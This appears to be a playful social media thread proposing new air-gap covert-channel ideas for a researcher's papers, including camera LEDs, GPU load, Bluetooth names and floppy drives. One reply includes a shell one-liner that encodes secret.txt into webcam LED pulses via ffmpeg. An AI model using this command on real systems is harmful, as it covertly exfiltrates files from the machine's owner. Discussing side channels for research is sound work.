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I was going to give you some ideas, but he's already done most of them (I looked around, thought "screen brightness" - yup, he did it last year). Uhh, let's see... camera LED! He's done keyboard LEDs, HDD LEDs, router LEDs, but not camera LEDs! Hey Morderai, free paper!
Here's your leaking code: xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done 4 bits per pulse PWM encoding. Tested on my iMac. There's half of your paper! You're welcome!
Dang, you’ve undercut my idea of doing the exact same thing with sleep/awake timers on a Windows machine.
BREAKING NEWS: hacker irresponsibly publishes malware source code on Twitter
shit he's not gonna do it now cause then he'd have to share credit with you :p
One idiotic idea I came up with a while back is to spin up a GPU load as a form of on-off keying, and use an SDR to grab the unencrypted signals from a wireless energy monitor to exfiltrate maybe 8 bits per minute.
A slightly less stupid trick I just thought of would be to use the Bluetooth device name as a way to leak data, since you can change it freely. Just cycle base64 (or higher) through it and have the first character or two be a sequence number.
He could show the vulnerability of legacy systems by making the floppy drive do Morse code
There's a lot of these papers https://diyhpl.us/~bryan/papers2/security/sidechannels.txt …
Anyone encoded data in the synchronised rebooting of a device? Very literally on/off etc.
This was pure wizardry for me when I was a kid.
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